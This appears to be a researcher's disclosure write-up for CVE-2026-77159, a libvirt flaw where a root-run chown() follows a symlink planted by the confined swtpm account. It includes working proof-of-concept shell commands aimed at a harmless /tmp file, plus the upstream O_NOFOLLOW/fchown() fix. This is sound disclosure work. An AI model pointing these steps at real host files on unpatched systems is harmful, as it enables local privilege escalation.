CVE-2026-77159 · SECURITY WRITE-UP

libvirt swtpm sandbox escape

Unsafe chown() in qemuTPMEmulatorPrepareHost() allowed arbitrary file ownership transfer through a symbolic link.

Suraj TheekshanaCVSS 7.8 · HighLocal privilege escalation

Summary

libvirt changed ownership of the swtpm logfile while running with host privileges. On Ubuntu 24.04, the logfile directory was owned by the confined swtpm user, which could replace the logfile with a symlink.

When a TPM-backed VM was started, libvirt followed the symlink and changed the target file's owner to swtpm:swtpm. This broke the swtpm sandbox boundary and created a host privilege-escalation primitive.

Animated attack flow

Step 1 — swtpm controls the logfile directory

1Confined swtpmHas write access to the swtpm logfile directory.
2Plant symlinkReplaces the expected logfile with a link to a host file.
3Start the VMRoot-running libvirt calls pathname-based chown().
4Ownership stolenThe chosen target becomes owned by the swtpm account.
logfile → target Host target file /tmp/libvirt-swtpm-chown-target owner: root:rootowner: swtpm:swtpm

Verified environment

OSUbuntu 24.04 LTS (Noble)
Architectureaarch64
Kernel6.8.0-137-generic
libvirt10.0.0-2ubuntu8.15
HypervisorQEMU 8.2.2

Safe reproduction

After creating and stopping a QEMU domain named poc-tpm-domain with an emulator TPM, create a harmless target:

TARGET=/tmp/libvirt-swtpm-chown-target
LOGFILE=/var/log/swtpm/libvirt/qemu/poc-tpm-domain-swtpm.log

sudo touch "$TARGET"
sudo chown root:root "$TARGET"
sudo chmod 600 "$TARGET"
sudo stat -c '%U:%G %a %n' "$TARGET"

Replace the logfile with a symlink as the confined account, then start the domain:

sudo -u swtpm rm -f "$LOGFILE"
sudo -u swtpm ln -s "$TARGET" "$LOGFILE"
sudo virsh start poc-tpm-domain 2>&1 || true
sudo stat -c '%U:%G %a %n' "$TARGET"
Observed: the target changed from root:root 600 to swtpm:swtpm 600. The VM could fail afterward, but the ownership transfer had already occurred.

Fix

Upstream opened the logfile with O_NOFOLLOW and changed ownership through the returned descriptor with fchown(). A symlink is therefore rejected instead of followed.

- chown(logfile, swtpm_user, swtpm_group);
+ fd = open(logfile, O_WRONLY | O_CREAT | O_NOFOLLOW | O_CLOEXEC, 0644);
+ fchown(fd, swtpm_user, swtpm_group);

Timeline

References